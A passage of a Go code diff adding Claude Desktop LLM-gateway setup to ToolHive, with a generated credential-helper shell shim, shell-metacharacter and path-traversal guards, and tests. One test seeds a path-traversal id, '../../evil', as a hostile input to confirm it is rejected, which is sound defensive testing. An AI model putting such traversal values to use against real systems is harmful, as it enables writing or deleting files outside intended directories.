tool accesses the gateway. Tool config and persisted settings are written normally. Useful for unattended provisioning (e.g. an MDM profile). + --models strings Explicit model IDs to expose to credential-helper clients (Claude Desktop's inferenceModels). Repeat or comma-separate. Omit to rely on the gateway's own model discovery once it is available. --proxy-port int Localhost proxy listen port (omit to keep current; default: 14000) --skip-browser Print the OIDC authorization URL instead of opening a browser, then wait for the callback. Use in headless/SSH/CI environments where no system browser is available. --tls-skip-verify Skip TLS certificate verification for the upstream gateway (local dev only). For direct-mode tools (Claude Code, Gemini CLI) this sets NODE_TLS_REJECT_UNAUTHORIZED=0, disabling TLS for ALL of that tool's outbound connections. For proxy-mode tools only the proxy-to-gateway connection is affected. diff --git a/pkg/client/config.go b/pkg/client/config.go index d143cc1ea0..48bde567b9 100644 --- a/pkg/client/config.go +++ b/pkg/client/config.go @@ -20,6 +20,7 @@ import ( "github.com/tailscale/hujson" "gopkg.in/yaml.v3" + "github.com/stacklok/toolhive/pkg/llmgateway" "github.com/stacklok/toolhive/pkg/transport/types" ) @@ -100,6 +101,12 @@ const ( // It is declared as LLMClientApp (not ClientApp) so that code generators // such as swag do not include "xcode" in the MCP API ClientApp enum. Xcode LLMClientApp = "xcode" + + // ClaudeDesktop represents the Claude Desktop app configured for LLM gateway + // routing via its "third-party inference" surface. Only LLM-gateway support is + // wired here (not MCP), so it is declared as LLMClientApp — same rationale as + // Xcode above. + ClaudeDesktop LLMClientApp = "claude-desktop" ) // Extension is extension of the client config file. @@ -270,6 +277,20 @@ type clientAppConfig struct { // LLMEnvFileKeys lists the key=value entries to write to the .env file when // setting up (or reverting) LLM gateway access. LLMEnvFileKeys []LLMEnvFileKeySpec + // LLMDetectRelPath and LLMDetectPlatformPrefix locate a directory whose + // existence indicates the tool is installed. Used for GUI apps that are not + // on $PATH (LLMBinaryName is empty) and whose LLM settings directory does not + // exist until first configured — so the settings dir cannot be the detection + // signal. When set, DetectedLLMGatewayClients checks this directory instead of + // the settings directory. Resolved with the same semantics as + // LLMSettingsRelPath / LLMSettingsPlatformPrefix. + LLMDetectRelPath []string + LLMDetectPlatformPrefix map[Platform][]string + // LLMManagedProfileDomain is the macOS managed-preferences plist domain + // (e.g. "com.anthropic.claudefordesktop.plist") that, when present, overrides + // the client's local config. Setup warns when detected. Empty when the client + // has no managed-profile surface. + LLMManagedProfileDomain string } // extractServersKeyFromConfig extracts the servers key from MCPServersPathPrefix @@ -973,6 +994,37 @@ var supportedClientIntegrations = []clientAppConfig{ {JSONPointer: "/apiKey", ValueField: "PlaceholderAPIKey"}, }, }, + { + // Claude Desktop routes LLM traffic through the gateway via its + // "third-party inference" surface. Unlike Claude Code (a single JSON + // settings file), Desktop uses a configLibrary directory: one config + // document per saved config plus a _meta.json selector naming the active + // one. That document model does not fit JSON-key patching, so this entry + // uses LLMGatewayMode "credential-helper" and carries no LLMGatewayKeys — + // the dedicated credential-helper writer handles it. LLM-gateway-only (MCP + // not wired). Cast LLMClientApp → ClientApp for internal storage. + ClientType: ClientApp(ClaudeDesktop), + Description: "Claude Desktop", + LLMGatewayOnly: true, + LLMGatewayMode: llmgateway.ModeCredentialHelper, + // Settings file is the _meta.json selector; the writer derives the + // containing configLibrary directory from it. + LLMSettingsFile: "_meta.json", + LLMSettingsRelPath: []string{"Claude-3p", "configLibrary"}, + LLMSettingsPlatformPrefix: map[Platform][]string{ + PlatformDarwin: {"Library", "Application Support"}, + PlatformWindows: {"AppData", "Local"}, + }, + // Detect via the app's user-data directory, which exists once Claude + // Desktop has run — the configLibrary directory above does not exist + // until first configured, so it cannot be the detection signal. + LLMDetectRelPath: []string{"Claude"}, + LLMDetectPlatformPrefix: map[Platform][]string{ + PlatformDarwin: {"Library", "Application Support"}, + PlatformWindows: {"AppData", "Roaming"}, + }, + LLMManagedProfileDomain: "com.anthropic.claudefordesktop.plist", + }, } // GetAllClients returns a slice of all supported MCP client types, sorted alphabetically. diff --git a/pkg/client/llm_gateway.go b/pkg/client/llm_gateway.go index 4de8922ec3..c1d5c35d76 100644 --- a/pkg/client/llm_gateway.go +++ b/pkg/client/llm_gateway.go @@ -41,6 +41,12 @@ func (cm *ClientManager) ConfigureLLMGateway(clientType ClientApp, cfg llmgatewa return "", fmt.Errorf("client %q does not support LLM gateway configuration", clientType) } + // Credential-helper clients (Claude Desktop) use a document + selector model + // that does not fit JSON-key patching; dispatch to the dedicated writer. + if appCfg.LLMGatewayMode == llmgateway.ModeCredentialHelper { + return cm.configureCredentialHelper(appCfg, cfg) + } + path := cm.buildLLMSettingsPath(appCfg) if err := os.MkdirAll(filepath.Dir(path), 0o700); err != nil { @@ -168,6 +174,11 @@ func (cm *ClientManager) RevertLLMGateway(clientType ClientApp, configPath strin return fmt.Errorf("client %q does not support LLM gateway configuration", clientType) } + // Credential-helper clients (Claude Desktop) revert via the dedicated writer. + if appCfg.LLMGatewayMode == llmgateway.ModeCredentialHelper { + return cm.revertCredentialHelper(appCfg, configPath) + } + // Guard against a missing file (or deleted parent directory) before trying // to acquire the lock — WithFileLock creates configPath+".lock", which // fails when the directory no longer exists. @@ -226,6 +237,14 @@ func (cm *ClientManager) IsLLMGatewaySupported(clientType ClientApp) bool { return cfg != nil && cfg.LLMGatewayMode != "" } +// IsManaged reports whether an MDM/managed-preferences profile is present for +// the given client. When true, the client reads config from the managed profile +// and ignores the local config "thv llm setup" writes, so setup warns the user. +func (cm *ClientManager) IsManaged(clientType ClientApp) bool { + cfg := cm.lookupClientAppConfig(clientType) + return cfg != nil && managedProfilePresent(cfg.LLMManagedProfileDomain) +} + // LLMGatewayModeFor returns "direct", "proxy", or "" for the given client. func (cm *ClientManager) LLMGatewayModeFor(clientType ClientApp) string { cfg := cm.lookupClientAppConfig(clientType) @@ -249,8 +268,17 @@ func (cm *ClientManager) DetectedLLMGatewayClients() []ClientApp { if cfg.LLMGatewayMode == "" { continue } - path := cm.buildLLMSettingsPath(cfg) - if _, err := os.Stat(filepath.Dir(path)); err != nil { + // Detection directory: for GUI apps whose settings directory does not + // exist until first configured (e.g. Claude Desktop's configLibrary), + // LLMDetectRelPath points at a directory that exists once the app is + // installed. Otherwise fall back to the settings directory. + detectDir := func() string { + if cfg.LLMDetectRelPath != nil { + return buildConfigFilePath("", cfg.LLMDetectRelPath, cfg.LLMDetectPlatformPrefix, []string{cm.homeDir}) + } + return filepath.Dir(cm.buildLLMSettingsPath(cfg)) + }() + if _, err := os.Stat(detectDir); err != nil { continue } if cfg.LLMBinaryName != "" { diff --git a/pkg/client/llm_gateway_credential_helper.go b/pkg/client/llm_gateway_credential_helper.go new file mode 100644 index 0000000000..c6b07a9aa9 --- /dev/null +++ b/pkg/client/llm_gateway_credential_helper.go @@ -0,0 +1,461 @@ +// SPDX-FileCopyrightText: Copyright 2026 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package client + +import ( + "encoding/json" + "fmt" + "log/slog" + "os" + "path/filepath" + "runtime" + "strings" + + "github.com/google/uuid" + + "github.com/stacklok/toolhive/pkg/fileutils" + "github.com/stacklok/toolhive/pkg/llmgateway" +) + +// Claude Desktop's "third-party inference" config lives in a configLibrary +// directory: one .json document per saved configuration, plus a _meta.json +// selector that names the active one. This is a different shape from the single +// JSON settings file that direct/proxy clients patch, so it gets a dedicated +// writer here rather than going through the LLMGatewayKeys machinery. + +const ( + // claudeDesktopManagedEntryName is the stable display name of the config + // entry ToolHive owns in _meta.json. Reusing a fixed name (rather than a + // fresh UUID per run) keeps setup idempotent — repeated "thv llm setup" + // calls update the same entry instead of accumulating orphans. + claudeDesktopManagedEntryName = "ToolHive Gateway" + + // claudeDesktopCredentialKind selects the credential-helper auth model + // (a local executable that prints a token), as opposed to "interactive" + // (Claude Desktop runs its own OIDC flow). + claudeDesktopCredentialKind = "helper-script" +) + +// claudeDesktopConfig is the .json document written into the configLibrary. +// ToolHive fully owns this file, so a typed struct is safe (no user fields to +// preserve). inferenceModels is omitted when empty so Claude Desktop falls back +// to gateway-side model auto-discovery once the gateway serves it. +type claudeDesktopConfig struct { + InferenceProvider string `json:"inferenceProvider"` + InferenceGatewayBaseURL string `json:"inferenceGatewayBaseUrl"` + InferenceGatewayAuthScheme string `json:"inferenceGatewayAuthScheme"` + InferenceCredentialKind string `json:"inferenceCredentialKind"` + InferenceCredentialHelper string `json:"inferenceCredentialHelper"` + InferenceCredentialHelperTtlSec int `json:"inferenceCredentialHelperTtlSec"` + InferenceCredentialHelperTimeoutSec int `json:"inferenceCredentialHelperTimeoutSec"` + InferenceModels []string `json:"inferenceModels,omitempty"` +} + +// configureCredentialHelper writes (or updates) ToolHive's Claude Desktop +// configuration: it generates the credential-helper shim, writes the config +// document, and points _meta.json at it. It returns the absolute path of the +// config document, which RevertLLMGateway later uses to undo the change. +// +// The _meta.json update is done under a file lock and preserves every entry and +// key ToolHive does not own, so a user's other saved configurations are left +// intact. Writes are crash-safe via AtomicWriteFile. +func (cm *ClientManager) configureCredentialHelper(appCfg *clientAppConfig, cfg llmgateway.ApplyConfig) (string, error) { + if runtime.GOOS == "windows" { + // The shim is a POSIX /bin/sh script — consistent with the rest of the + // LLM gateway token-helper feature, which is POSIX-only (see + // buildTokenHelperCommand in pkg/llm). Windows support is a follow-up. + return "", fmt.Errorf("claude-desktop LLM gateway setup is not supported on Windows yet") + } + + metaPath := cm.buildLLMSettingsPath(appCfg) + dir := filepath.Dir(metaPath) + if err := os.MkdirAll(dir, 0o700); err != nil { + return "", fmt.Errorf("creating %s: %w", dir, err) + } + + // Reuse the shared AnthropicBaseURL resolution (falls back to GatewayURL) so + // this stays in sync with direct-mode clients if the rule ever changes. + baseURL, _ := resolveApplyConfigField("AnthropicBaseURL", cfg) + + // Write the shim, config document, and _meta.json selector all inside the + // lock so concurrent setup/teardown runs cannot interleave — e.g. one run's + // failure-cleanup deleting a shim another run's committed config depends on. + // _meta.json is written last, so a mid-write failure never leaves Claude + // Desktop pointing at our config; best-effort cleanup then removes the + // unreferenced files it created. + var configPath string + err := fileutils.WithFileLock(metaPath, func() error { + // Track whether the shim already existed so failure cleanup does not + // delete a shim an earlier successful setup still depends on. + shimExisted := fileExistsAt(cm.credentialHelperShimPath()) + shimPath, err := cm.writeCredentialHelperShim(cfg.TokenHelperCommand) + if err != nil { + return err + } + cleanup := func(cp string) { + if !shimExisted { + _ = os.Remove(shimPath) + } + if cp != "" { + _ = os.Remove(cp) + } + } + + meta, err := readClaudeDesktopMeta(metaPath) + if err != nil { + cleanup("") + return err + } + id := metaEntryID(meta, claudeDesktopManagedEntryName) + if id == "" { + id = uuid.NewString() + } + // Upsert by name so an existing (possibly malformed) "ToolHive Gateway" + // entry is corrected in place rather than leaving a duplicate — preserving + // the idempotency the stable name is there to provide. + meta["entries"] = upsertMetaEntry(metaEntries(meta), id, claudeDesktopManagedEntryName) + meta["appliedId"] = id + + doc := claudeDesktopConfig{ + InferenceProvider: "gateway", + InferenceGatewayBaseURL: baseURL, + InferenceGatewayAuthScheme: "bearer", + InferenceCredentialKind: claudeDesktopCredentialKind, + InferenceCredentialHelper: shimPath, + InferenceCredentialHelperTtlSec: int(llmgateway.ClaudeDesktopHelperTTL.Seconds()), + InferenceCredentialHelperTimeoutSec: int(llmgateway.ClaudeDesktopHelperTimeout.Seconds()), + InferenceModels: cfg.Models, + } + docBytes, err := json.MarshalIndent(doc, "", " ") + if err != nil { + cleanup("") + return fmt.Errorf("encoding Claude Desktop config: %w", err) + } + cp := filepath.Join(dir, id+".json") + if err := fileutils.AtomicWriteFile(cp, docBytes, 0o600); err != nil { + cleanup(cp) + return fmt.Errorf("writing %s: %w", cp, err) + } + if err := writeClaudeDesktopMeta(metaPath, meta); err != nil { + cleanup(cp) + return err + } + configPath = cp + return nil + }) + if err != nil { + return "", err + } + return configPath, nil +} + +// revertCredentialHelper undoes configureCredentialHelper: it removes ToolHive's +// entry from _meta.json (leaving other entries untouched), clears appliedId when +// it pointed at our config, deletes the config document, and removes the shim. +// A missing file at any step is treated as already-reverted. +// +// Ordering matters: the selector (_meta.json) is de-referenced and the config +// document deleted BEFORE the shim, so a mid-revert failure never leaves Claude +// Desktop pointing at a config that references a missing helper executable. Any +// leftover file after a partial failure is unreferenced and harmless. +func (cm *ClientManager) revertCredentialHelper(appCfg *clientAppConfig, configPath string) error { + // Nothing recorded to revert. Do NOT touch the shim here: without the config + // path we cannot confirm _meta.json no longer references it, and removing it + // could break a still-applied config. + if configPath == "" { + return nil + } + // Derive the configLibrary dir from appCfg (not from configPath) so a + // tampered stored configPath cannot redirect teardown at an arbitrary + // directory. The config document must live inside this dir. + metaPath := cm.buildLLMSettingsPath(appCfg) + dir := filepath.Dir(metaPath) + if !fileExistsAt(dir) { + // Config directory already gone — nothing to revert. + return nil + } + + id := metaIDFromConfigPath(configPath) + if !isSafeConfigID(id) { + // Symmetric with configureCredentialHelper: a corrupted or hand-edited + // stored configPath whose id is not a bare filename is treated as + // already-reverted rather than risk unlinking through it. + return nil + } + // Reconstruct the expected path and require the stored configPath to match + // it. os.Remove follows symlinks, so a stored path outside configLibrary + // (or a symlink inside it) must not let teardown unlink an arbitrary file. + expectedPath := filepath.Join(dir, id+".json") + if configPath != expectedPath { + return nil + } + shimPath := cm.credentialHelperShimPath() + + // All steps run under the metaPath lock so a concurrent setup/teardown cannot + // interleave. Ordering: de-reference _meta.json, delete the config document, + // then remove the shim last — so a mid-revert failure never leaves Claude + // Desktop pointing at a config whose helper is gone. + return fileutils.WithFileLock(metaPath, func() error { + if fileExistsAt(metaPath) { + meta, err := readClaudeDesktopMeta(metaPath) + if err != nil { + return err + } + meta["entries"] = removeMetaEntry(metaEntries(meta), id) + // Only clear appliedId if it still points at our config; leave a + // user's own active config selection alone. + applied, ok := meta["appliedId"].(string) + if !ok && meta["appliedId"] != nil { + slog.Warn("Claude Desktop _meta.json has a non-string appliedId; leaving it unchanged", + "path", metaPath) + } + if applied == id { + meta["appliedId"] = "" + } + if err := writeClaudeDesktopMeta(metaPath, meta); err != nil { + return err + } + } + if err := removeIfExists(configPath); err != nil { + return err + } + if err := os.Remove(shimPath); err != nil && !os.IsNotExist(err) { + return fmt.Errorf("removing credential helper shim %s: %w", shimPath, err) + } + return nil + }) +} + +// credentialHelperShimPath is the fixed location of the generated shim. +func (cm *ClientManager) credentialHelperShimPath() string { + return filepath.Join(cm.homeDir, ".toolhive", "llm", "claude-desktop-helper.sh") +} + +// writeCredentialHelperShim generates the no-arg executable that Claude Desktop +// invokes as its inferenceCredentialHelper. Claude Desktop requires an absolute +// path to an executable (no arguments), whereas tokenHelperCommand is a shell +// command string (e.g. `"…thv" llm token`); the shim bridges the two. +// +// Claude Desktop sets CLAUDE_HELPER_CONTEXT on each call. Only "interactive" +// permits an OIDC browser flow; silent contexts (background / setup-test / +// mid-session-refresh) must not hijack the user's browser, so they use +// --skip-browser and rely on the cached/refresh token that "thv llm setup" +// primed up front. +func (cm *ClientManager) writeCredentialHelperShim(tokenHelperCommand string) (string, error) { + if tokenHelperCommand == "" { + return "", fmt.Errorf("no token-helper command available for credential helper shim") + } + if !isSafeTokenHelperCommand(tokenHelperCommand) { + // Defence in depth: the producer (buildTokenHelperCommand) is shell-safe + // today, but the writer must not silently emit an injectable 0700 script + // if a future caller constructs tokenHelperCommand differently. + return "", fmt.Errorf("refusing to write credential helper shim: token-helper command is not shell-safe") + } + shimPath := cm.credentialHelperShimPath() + if err := os.MkdirAll(filepath.Dir(shimPath), 0o700); err != nil { + return "", fmt.Errorf("creating credential helper directory: %w", err) + } + script := "#!/bin/sh\n" + + "# Generated by `thv llm setup` — Claude Desktop credential helper.\n" + + "# Prints a fresh LLM gateway token. Do not edit; `thv llm teardown` removes it.\n" + + "if [ \"$CLAUDE_HELPER_CONTEXT\" = \"interactive\" ]; then\n" + + " exec " + tokenHelperCommand + "\n" + + "fi\n" + + "exec " + tokenHelperCommand + " --skip-browser\n" + if err := fileutils.AtomicWriteFile(shimPath, []byte(script), 0o700); err != nil { + return "", fmt.Errorf("writing credential helper shim %s: %w", shimPath, err) + } + return shimPath, nil +} + +// isSafeTokenHelperCommand reports whether tokenHelperCommand matches the shape +// produced by buildTokenHelperCommand: a double-quoted path followed by the +// literal args "llm token", with no shell metacharacters that could break out +// of the exec line the shim concatenates. The shim is a 0700 /bin/sh script +// built by string concatenation, so a caller-supplied command containing ";", +// "&", "|", "`", "$", "#", or newlines would be stored command injection. +// +// buildTokenHelperCommand (pkg/llm/setup.go) is shell-safe today — it rejects +// paths containing those characters before formatting — but TokenHelperCommand +// is exposed as a general ApplyConfig field consumed by multiple writers. This +// check makes the shim writer fail closed on any command it cannot prove safe, +// rather than trusting every future caller to uphold the contract. +func isSafeTokenHelperCommand(tokenHelperCommand string) bool { + if tokenHelperCommand == "" { + return false + } + for _, r := range tokenHelperCommand { + switch r { + case ';', '&', '|', '`', '$', '#', '\n', '\r': + return false + } + } + // Must be a double-quoted path followed by exactly " llm token". + if len(tokenHelperCommand) < 2 || tokenHelperCommand[0] != '"' { + return false + } + closeQuote := strings.IndexByte(tokenHelperCommand[1:], '"') + if closeQuote == -1 { + return false + } + return tokenHelperCommand[2+closeQuote:] == " llm token" +} + +// managedProfilePresent reports whether an MDM/managed-preferences profile for +// the given plist domain is present. A managed profile overrides a client's +// local config, so "thv llm setup" warns when one is detected (the local config +// it writes would be ignored). macOS only; returns false elsewhere or when the +// client declares no managed-profile domain. +func managedProfilePresent(domain string) bool { + if domain == "" || runtime.GOOS != "darwin" { + return false + } + return managedProfileExistsUnder(managedPreferencesRoot, domain) +} + +// managedPreferencesRoot is the macOS managed-preferences directory. A package +// variable (not a const) so tests can point it at a temp directory. +var managedPreferencesRoot = "/Library/Managed Preferences" + +// managedProfileExistsUnder reports whether a managed-preferences plist for +// domain exists directly under root or under a per-user subdirectory +// (root//domain). Platform-independent so it is unit-testable. +func managedProfileExistsUnder(root, domain string) bool { + if _, err := os.Stat(filepath.Join(root, domain)); err == nil { + return true + } + matches, _ := filepath.Glob(filepath.Join(root, "*", domain)) + return len(matches) > 0 +} + +// ── _meta.json helpers ───────────────────────────────────────────────────── + +// readClaudeDesktopMeta reads _meta.json into a generic map so unknown keys are +// preserved on write-back. A missing or empty file yields a fresh selector. +func readClaudeDesktopMeta(path string) (map[string]any, error) { + data, err := os.ReadFile(path) // #nosec G304 -- known config file location + if err != nil { + if os.IsNotExist(err) { + return map[string]any{"appliedId": "", "entries": []any{}}, nil + } + return nil, fmt.Errorf("reading %s: %w", path, err) + } + if len(data) == 0 { + return map[string]any{"appliedId": "", "entries": []any{}}, nil + } + var meta map[string]any + if err := json.Unmarshal(data, &meta); err != nil { + return nil, fmt.Errorf("parsing %s: %w", path, err) + } + if meta == nil { + meta = map[string]any{} + } + // Guard the "valid JSON, wrong shape" case: if entries is present but not a + // JSON array, bail rather than silently dropping it — metaEntries would treat + // it as empty and a subsequent append would overwrite the user's data. + if e, ok := meta["entries"]; ok && e != nil { + if _, isArray := e.([]any); !isArray { + return nil, fmt.Errorf("parsing %s: %q must be a JSON array", path, "entries") + } + } + return meta, nil +} + +// writeClaudeDesktopMeta encodes meta and writes it atomically. +func writeClaudeDesktopMeta(path string, meta map[string]any) error { + data, err := json.MarshalIndent(meta, "", " ") + if err != nil { + return fmt.Errorf("encoding %s: %w", path, err) + } + if err := fileutils.AtomicWriteFile(path, data, 0o600); err != nil { + return fmt.Errorf("writing %s: %w", path, err) + } + return nil +} + +// metaEntries returns the entries slice from meta, or an empty slice. +func metaEntries(meta map[string]any) []any { + entries, _ := meta["entries"].([]any) + return entries +} + +// metaEntryID returns the id of the entry with the given name, or "" if absent. +// _meta.json lives in a directory Claude Desktop and users also write to, so the +// stored id is untrusted: an unsafe value is treated as absent so the caller +// mints a fresh, safe UUID rather than joining a path-traversing id into the +// configLibrary path. See isSafeConfigID. +func metaEntryID(meta map[string]any, name string) string { + for _, e := range metaEntries(meta) { + entry, ok := e.(map[string]any) + if !ok { + continue + } + if n, _ := entry["name"].(string); n == name { + id, _ := entry["id"].(string) + if !isSafeConfigID(id) { + return "" + } + return id + } + } + return "" +} + +// isSafeConfigID reports whether id is a bare filename safe to join into the +// configLibrary path — non-empty, no path separators, and no "..". Guards +// against a corrupted or hand-edited _meta.json entry escaping configLibrary. +func isSafeConfigID(id string) bool { + return id != "" && filepath.Base(id) == id && !strings.Contains(id, "..") +} + +// upsertMetaEntry sets the id of the entry with the given name if one exists +// (correcting a malformed or stale same-name entry in place), or appends a new +// entry otherwise. Prevents duplicate ToolHive-owned entries. +func upsertMetaEntry(entries []any, id, name string) []any { + for _, e := range entries { + entry, ok := e.(map[string]any) + if !ok { + continue + } + if n, _ := entry["name"].(string); n == name { + entry["id"] = id + return entries + } + } + return append(entries, map[string]any{"id": id, "name": name}) +} + +// removeMetaEntry returns entries with the entry matching id removed. +func removeMetaEntry(entries []any, id string) []any { + out := make([]any, 0, len(entries)) + for _, e := range entries { + if entry, ok := e.(map[string]any); ok { + if eid, _ := entry["id"].(string); eid == id { + continue + } + } + out = append(out, e) + } + return out +} + +// metaIDFromConfigPath derives the config id from a ".json" path. +func metaIDFromConfigPath(configPath string) string { + base := filepath.Base(configPath) + return base[:len(base)-len(filepath.Ext(base))] +} + +// fileExistsAt reports whether a file exists at path. +func fileExistsAt(path string) bool { + _, err := os.Stat(path) + return err == nil +} + +// removeIfExists deletes path, treating a missing file as success. +func removeIfExists(path string) error { + if err := os.Remove(path); err != nil && !os.IsNotExist(err) { + return fmt.Errorf("removing %s: %w", path, err) + } + return nil +} diff --git a/pkg/client/llm_gateway_credential_helper_test.go b/pkg/client/llm_gateway_credential_helper_test.go new file mode 100644 index 0000000000..b1ed008238 --- /dev/null +++ b/pkg/client/llm_gateway_credential_helper_test.go @@ -0,0 +1,398 @@ +// SPDX-FileCopyrightText: Copyright 2026 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package client + +import ( + "encoding/json" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/stacklok/toolhive/pkg/llmgateway" +) + +// newClaudeDesktopManager returns a ClientManager rooted at a temp home with the +// real Claude Desktop integration, plus the resolved configLibrary metaPath. +func newClaudeDesktopManager(t *testing.T) (*ClientManager, string) { + t.Helper() + home := t.TempDir() + cm := NewTestClientManager(home, nil, supportedClientIntegrations, nil) + cfg := cm.lookupClientAppConfig(ClientApp(ClaudeDesktop)) + require.NotNil(t, cfg, "ClaudeDesktop must be a supported integration") + require.Equal(t, llmgateway.ModeCredentialHelper, cfg.LLMGatewayMode, "ClaudeDesktop must use the credential-helper model") + return cm, cm.buildLLMSettingsPath(cfg) +} + +// readMeta decodes _meta.json. +func readMeta(t *testing.T, metaPath string) map[string]any { + t.Helper() + data, err := os.ReadFile(metaPath) // #nosec G304 -- test-controlled path + require.NoError(t, err) + var meta map[string]any + require.NoError(t, json.Unmarshal(data, &meta)) + return meta +} + +// readConfigDoc decodes a .json config document. +func readConfigDoc(t *testing.T, path string) claudeDesktopConfig { + t.Helper() + data, err := os.ReadFile(path) // #nosec G304 -- test-controlled path + require.NoError(t, err) + var doc claudeDesktopConfig + require.NoError(t, json.Unmarshal(data, &doc)) + return doc +} + +func claudeDesktopApplyCfg() llmgateway.ApplyConfig { + return llmgateway.ApplyConfig{ + GatewayURL: "https://gw.example.com", + AnthropicBaseURL: "https://gw.example.com/anthropic", + TokenHelperCommand: `"thv" llm token`, + } +} + +func TestConfigureCredentialHelper_WritesConfigMetaAndShim(t *testing.T) { + t.Parallel() + cm, metaPath := newClaudeDesktopManager(t) + + cfg := claudeDesktopApplyCfg() + cfg.Models = []string{"claude-opus-4-8", "claude-sonnet-4-6"} + + configPath, err := cm.ConfigureLLMGateway(ClientApp(ClaudeDesktop), cfg) + require.NoError(t, err) + + // Config document contents. + doc := readConfigDoc(t, configPath) + assert.Equal(t, "gateway", doc.InferenceProvider) + assert.Equal(t, "helper-script", doc.InferenceCredentialKind) + assert.Equal(t, "bearer", doc.InferenceGatewayAuthScheme) + assert.Equal(t, "https://gw.example.com/anthropic", doc.InferenceGatewayBaseURL) + assert.Equal(t, []string{"claude-opus-4-8", "claude-sonnet-4-6"}, doc.InferenceModels) + assert.Equal(t, int(llmgateway.ClaudeDesktopHelperTTL.Seconds()), doc.InferenceCredentialHelperTtlSec) + assert.Equal(t, int(llmgateway.ClaudeDesktopHelperTimeout.Seconds()), doc.InferenceCredentialHelperTimeoutSec) + + // Shim: executable, references the token command, and silent contexts skip + // the browser. + shimPath := cm.credentialHelperShimPath() + assert.Equal(t, shimPath, doc.InferenceCredentialHelper) + info, err := os.Stat(shimPath) + require.NoError(t, err) + assert.Equal(t, os.FileMode(0o700), info.Mode().Perm()) + shim, err := os.ReadFile(shimPath) // #nosec G304 -- test-controlled path + require.NoError(t, err) + assert.Contains(t, string(shim), `"thv" llm token`) + assert.Contains(t, string(shim), "--skip-browser") + + // _meta.json selects our config by the config document's id. + id := strings.TrimSuffix(filepath.Base(configPath), ".json") + meta := readMeta(t, metaPath) + assert.Equal(t, id, meta["appliedId"]) + assert.Equal(t, id, metaEntryID(meta, claudeDesktopManagedEntryName)) +} + +func TestConfigureCredentialHelper_OmitsModelsWhenEmpty(t *testing.T) { + t.Parallel() + cm, _ := newClaudeDesktopManager(t) + + configPath, err := cm.ConfigureLLMGateway(ClientApp(ClaudeDesktop), claudeDesktopApplyCfg()) + require.NoError(t, err) + + // The key must be absent (not an empty array) so Claude Desktop falls back to + // gateway-side auto-discovery. + data, err := os.ReadFile(configPath) // #nosec G304 -- test-controlled path + require.NoError(t, err) + assert.NotContains(t, string(data), "inferenceModels") +} + +func TestConfigureCredentialHelper_IsIdempotent(t *testing.T) { + t.Parallel() + cm, metaPath := newClaudeDesktopManager(t) + + first, err := cm.ConfigureLLMGateway(ClientApp(ClaudeDesktop), claudeDesktopApplyCfg()) + require.NoError(t, err) + second, err := cm.ConfigureLLMGateway(ClientApp(ClaudeDesktop), claudeDesktopApplyCfg()) + require.NoError(t, err) + + // Same stable id reused — no orphaned config documents or duplicate entries. + assert.Equal(t, first, second, "repeated setup must reuse the same config id") + meta := readMeta(t, metaPath) + assert.Len(t, metaEntries(meta), 1, "repeated setup must not duplicate the ToolHive entry") +} + +func TestConfigureCredentialHelper_PreservesForeignEntries(t *testing.T) { + t.Parallel() + cm, metaPath := newClaudeDesktopManager(t) + + // Seed a user-owned config the way Claude Desktop's own UI would. + require.NoError(t, os.MkdirAll(filepath.Dir(metaPath), 0o700)) + seed := map[string]any{ + "appliedId": "user-config", + "entries": []any{ + map[string]any{"id": "user-config", "name": "My Bedrock"}, + }, + } + seedBytes, err := json.Marshal(seed) + require.NoError(t, err) + require.NoError(t, os.WriteFile(metaPath, seedBytes, 0o600)) + + configPath, err := cm.ConfigureLLMGateway(ClientApp(ClaudeDesktop), claudeDesktopApplyCfg()) + require.NoError(t, err) + + meta := readMeta(t, metaPath) + // Our entry is added and selected; the user's entry survives untouched. + id := strings.TrimSuffix(filepath.Base(configPath), ".json") + assert.Equal(t, id, meta["appliedId"]) + assert.Len(t, metaEntries(meta), 2) + assert.Equal(t, "user-config", metaEntryID(meta, "My Bedrock")) +} + +func TestRevertCredentialHelper_RemovesEntryConfigAndShim(t *testing.T) { + t.Parallel() + cm, metaPath := newClaudeDesktopManager(t) + + configPath, err := cm.ConfigureLLMGateway(ClientApp(ClaudeDesktop), claudeDesktopApplyCfg()) + require.NoError(t, err) + shimPath := cm.credentialHelperShimPath() + + require.NoError(t, cm.RevertLLMGateway(ClientApp(ClaudeDesktop), configPath)) + + // Config document and shim are gone; entry removed; appliedId cleared because + // it pointed at our config. + assert.NoFileExists(t, configPath) + assert.NoFileExists(t, shimPath) + meta := readMeta(t, metaPath) + assert.Empty(t, metaEntries(meta)) + assert.Equal(t, "", meta["appliedId"]) +} + +func TestConfigureCredentialHelper_RejectsPathTraversalID(t *testing.T) { + t.Parallel() + cm, metaPath := newClaudeDesktopManager(t) + dir := filepath.Dir(metaPath) + + // Seed _meta.json with a ToolHive-named entry whose id escapes configLibrary, + // as a corrupted/hand-edited file might. + require.NoError(t, os.MkdirAll(dir, 0o700)) + seed := map[string]any{ + "appliedId": "../../evil", + "entries": []any{ + map[string]any{"id": "../../evil", "name": claudeDesktopManagedEntryName}, + }, + } + seedBytes, err := json.Marshal(seed) + require.NoError(t, err) + require.NoError(t, os.WriteFile(metaPath, seedBytes, 0o600)) + + configPath, err := cm.ConfigureLLMGateway(ClientApp(ClaudeDesktop), claudeDesktopApplyCfg()) + require.NoError(t, err) + + // The tainted id must be rejected: the written config stays inside + // configLibrary and appliedId points at a fresh, safe id — not the escape. + assert.Equal(t, dir, filepath.Dir(configPath), "config document must stay inside configLibrary") + id := strings.TrimSuffix(filepath.Base(configPath), ".json") + assert.True(t, isSafeConfigID(id), "minted id must be a safe bare filename") + meta := readMeta(t, metaPath) + assert.Equal(t, id, meta["appliedId"], "appliedId must point at the safe minted id, not the traversal value") + assert.NoFileExists(t, filepath.Join(dir, "..", "..", "evil.json"), "must not write outside configLibrary") +} + +func TestRevertCredentialHelper_EmptyConfigPathLeavesShim(t *testing.T) { + t.Parallel() + cm, _ := newClaudeDesktopManager(t) + + _, err := cm.ConfigureLLMGateway(ClientApp(ClaudeDesktop), claudeDesktopApplyCfg()) + require.NoError(t, err) + shimPath := cm.credentialHelperShimPath() + require.FileExists(t, shimPath) + + // With no recorded config path we cannot confirm _meta.json no longer + // references the shim, so revert must be a no-op and leave it in place rather + // than risk breaking a still-applied config. + require.NoError(t, cm.RevertLLMGateway(ClientApp(ClaudeDesktop), "")) + assert.FileExists(t, shimPath, "shim must not be deleted when configPath is empty") +} + +func 